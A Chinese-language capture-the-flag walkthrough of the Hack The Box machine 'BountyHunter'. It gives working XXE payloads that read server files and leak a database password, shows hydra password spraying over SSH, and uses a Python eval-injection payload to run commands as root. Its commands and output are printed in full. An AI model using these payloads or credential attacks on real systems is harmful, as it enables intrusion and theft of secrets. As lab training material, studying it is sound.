Hackthebox - BountyHunter

靶场信息

靶场类型

信息搜集

使用nmap进行端口扫描

┌──(root💀root)-[~/Desktop]
└─# nmap -A -sS -sC -sV -p- 10.10.11.100
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-25 13:02 CST
Nmap scan report for 10.10.11.100
Host is up (0.25s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=7/25%OT=22%CT=1%CU=31546%PV=Y%DS=2%DC=T%G=Y%TM=60FCF27
OS:8%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   251.53 ms 10.10.14.1
2   251.65 ms 10.10.11.100

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 546.93 seconds

从扫描结果中,我们可以得到如下几个信息: - 本台靶机开启了2280端口 - 本台80端口使用了Apache/2.4.41作为HTTP服务

咱们去访问80端口看看内容。

这好像是一个SRC平台?专业对口

发现了一个php文件

http://10.10.11.100/log_submit.php

简单测试了一下XSS,但是没有成功,先放着不管我们找找其他思路

先做一个FUZZ看看吧

┌──(root💀root)-[~/Desktop]
└─# gobuster dir -u http://10.10.11.100 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.100
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,html,txt
[+] Timeout:                 10s
===============================================================
2021/07/25 13:24:30 Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 277]
/.hta.txt             (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/.htaccess.php        (Status: 403) [Size: 277]
/.htpasswd.php        (Status: 403) [Size: 277]
/.hta                 (Status: 403) [Size: 277]
/.hta.php             (Status: 403) [Size: 277]
/.htaccess.html       (Status: 403) [Size: 277]
/.htpasswd.html       (Status: 403) [Size: 277]
/.hta.html            (Status: 403) [Size: 277]
/.htaccess.txt        (Status: 403) [Size: 277]
/.htpasswd.txt        (Status: 403) [Size: 277]
/assets               (Status: 301) [Size: 313] [--> http://10.10.11.100/assets/]
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.100/css/]
/db.php               (Status: 200) [Size: 0]
/index.php            (Status: 200) [Size: 25169]
/index.php            (Status: 200) [Size: 25169]
/js                   (Status: 301) [Size: 309] [--> http://10.10.11.100/js/]
/portal.php           (Status: 200) [Size: 125]
/resources            (Status: 301) [Size: 316] [--> http://10.10.11.100/resources/]
/server-status        (Status: 403) [Size: 277]

===============================================================
2021/07/25 13:32:25 Finished
===============================================================

咱们看看/resources目录

Index of /resources
[ICO]   Name    Last modified   Size    Description
[PARENTDIR] Parent Directory        -
[TXT]   README.txt  2021-04-06 00:01    210
[   ]   all.js  2021-04-05 17:37    1.1M
[   ]   bootstrap.bundle.min.js 2021-04-05 17:41    82K
[   ]   bootstrap_login.min.js  2021-04-05 17:08    48K
[   ]   bountylog.js    2021-06-15 15:47    594
[   ]   jquery.easing.min.js    2020-05-04 09:11    2.5K
[   ]   jquery.min.js   2020-05-04 16:01    87K
[   ]   jquery_login.min.js 2021-04-05 17:09    85K
[TXT]   lato.css    2021-04-05 17:39    2.6K
[TXT]   monsterat.css   2021-04-05 17:39    3.2K
Apache/2.4.41 (Ubuntu) Server at 10.10.11.100 Port 80

咱们挨个查看一下

README.txt中发现了一个提示

Tasks:

[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.
[X] Write tracker submit script
[ ] Connect tracker submit script to the database
[X] Fix developer group permissions

咱们把目光放在/bountylog.js这个文件上

function returnSecret(data) {
    return Promise.resolve($.ajax({
            type: "POST",
            data: {"data":data},
            url: "tracker_diRbPr00f314.php"
            }));
}

async function bountySubmit() {
    try {
        var xml = `<?xml  version="1.0" encoding="ISO-8859-1"?>
        <bugreport>
        <title>${$('#exploitTitle').val()}</title>
        <cwe>${$('#cwe').val()}</cwe>
        <cvss>${$('#cvss').val()}</cvss>
        <reward>${$('#reward').val()}</reward>
        </bugreport>`
        let data = await returnSecret(btoa(xml));
        $("#return").html(data)
    }
    catch(error) {
        console.log('Error:', error);
    }
}

漏洞利用

看到这里咱们梳理一下思路哈

  1. http://10.10.11.100/log_submit.php中提示是一个提交窗口
  2. http://10.10.11.100/resources/README.txt中提示我们要写一个提交脚本到数据库,但我们目前并不知道要写什么脚本
  3. http://10.10.11.100/resources/bountylog.js中提示我们要编写一个XML脚本提交到tracker_diRbPr00f314.php,并且给出了我们脚本格式
  4. 我们访问tracker_diRbPr00f314.php后可以看到,内容就是http://10.10.11.100/log_submit.php提交后返回的内容

平时我是不会写这么详细的,这里单纯是怼某个说我抄别人内容的杠精,给你看看我的解题思路,看看到底是抄的别人的还是我自己想的,实名制DISS你,不服随时来杠

然后咱们整理一下手上有的信息 1. 咱们手里有一个提交窗口/log_submit.php 2. 咱们有一个一看就很重要但没有内容的文件/db.php 3. 有一个XML注入的示例脚本

OK,目标很明确了,咱们使用XML注入去读取/db.php文件的内容即可

针对该目标编写脚本

var xml = `<?xml  version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/db.php"> ]>
        <bugreport>
        <title>&xxe;</title>
        <cwe>something</cwe>
        <cvss>something</cvss>
        <reward>something</reward>
        </bugreport>`

提交到控制台,然后使用

returnSecret(btoa(xml));

来进行读取

成功读取到该文件,咱们看看内容是什么

If DB were ready, would have added:
<table>
  <tr>
    <td>Title:</td>
    <td>PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=</td>
  </tr>
  <tr>
    <td>CWE:</td>
    <td>something</td>
  </tr>
  <tr>
    <td>Score:</td>
    <td>something</td>
  </tr>
  <tr>
    <td>Reward:</td>
    <td>something</td>
  </tr>
</table>

看title返回的内容是一段base64码,咱们去解密试试

PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=

<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

咱们得到了数据库的账号密码,咱们读取/etc/passwd看看

var xml = `<?xml  version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
        <bugreport>
        <title>&xxe;</title>
        <cwe>something</cwe>
        <cvss>something</cvss>
        <reward>something</reward>
        </bugreport>`
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin

似乎和我想的不一样啊,这里我们获取到的数据库用户名无法用来进行ssh登录,还得找找其他思路

咱们使用hydra进行爆破试试

首先将/etc/passwd的文件保存到本地

然后使用cut命令来提取用户名

cut -d : -f 1 passwd > user
┌──(root💀root)-[~/Desktop]
└─# cat user
root
daemon
bin
sys
sync
games
man
lp
mail
news
uucp
proxy
www-data
backup
list
irc
gnats
nobody
systemd-network
systemd-resolve
systemd-timesync
messagebus
syslog
_apt
tss
uuidd
tcpdump
landscape
pollinate
sshd
systemd-coredump
development
lxd
usbmux

现在就把所有的用户名都提取出来了

然后使用hydra进行爆破

┌──(root💀root)-[~/Desktop]
└─# hydra -L user -p m19RoAU0hP41A1sTsq6K 10.10.11.100 ssh                                                                                                                                                  255 ⨯
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-07-25 14:42:27
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 34 login tries (l:34/p:1), ~3 tries per task
[DATA] attacking ssh://10.10.11.100:22/
[22][ssh] host: 10.10.11.100   login: development   password: m19RoAU0hP41A1sTsq6K
[22][ssh] host: 10.10.11.100   login: development   password: m19RoAU0hP41A1sTsq6K
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-07-25 14:42:44

然后确定了账号密码

username = development
password = m19RoAU0hP41A1sTsq6K

咱们使用ssh进行登录

┌──(root💀root)-[~/Desktop]
└─# ssh development@10.10.11.100
development@10.10.11.100's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 25 Jul 2021 06:57:17 AM UTC

  System load:           0.0
  Usage of /:            24.3% of 6.83GB
  Memory usage:          15%
  Swap usage:            0%
  Processes:             216
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.100
  IPv6 address for eth0: dead:beef::250:56ff:feb9:7ae5

0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sun Jul 25 04:44:41 2021 from 10.10.14.17
development@bountyhunter:~$ whoami && id
development
uid=1000(development) gid=1000(development) groups=1000(development)

成功getshell

development@bountyhunter:~$ cat user.txt
12df9cbc3e04ef498fad5cdd101563b4

成功拿到user权限的flag ## 权限提升 咱们使用sudo -l查看一下权限

development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

咱们可以利用/usr/bin/python3.8使用root权限无密码运行/opt/skytrain_inc/ticketValidator.py文件

咱们查看一下这个文件

development@bountyhunter:~$ cat /opt/skytrain_inc/ticketValidator.py
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

通过解读这个python脚本,我们得知,这个脚本要求我们输入文件名,且文件名要以.md为结尾。如果条件满足,则脚本打开文件并搜索下一个条件。

for i,x in enumerate(ticketFile.readlines()):

        if i == 0: # if line number 0 not startwith "# Skytrain Inc", Quit, else Continue
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1: if line number 1 Exist and not startwith "## Ticket to " , Quit else Continue
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

    if x.startswith("__Ticket Code:__"): # This is line number 2, as the previous statements are all returned out or continued to here. so line number 2 should be: "__Ticket Code:__"
            code_line = i+1
            continue

if code_line and i == code_line: # if code_line exist
            if not x.startswith("**"): # if code_line not startwith **, Exit!
                return False
            ticketCode = x.replace("**", "").split("+")[0] # Remove ** from Code Line, and split at pos 0 where + is found. example is: **102+, would become just 102
            if int(ticketCode) % 7 == 4:  # the tricky part!
                validationNumber = eval(x.replace("**", "")) # this is confusing! that is the catch, the code does not eval the splitted ticketCode, but actually the line itself just without any **. so you should just pass a line of code that would work.

那咱们编写一个.md文件让他满足条件即可

# Skytrain Inc
## Ticket to
__Ticket Code:__
**102+ 10 == 112 and __import__('os').system('cat /root/root.txt') == False

咱们运行一下

development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
lucifiel.md
Destination:
b320161d15bd03095cb66d05ac6d4ddf
Invalid ticket.

成功获得root权限的flag文件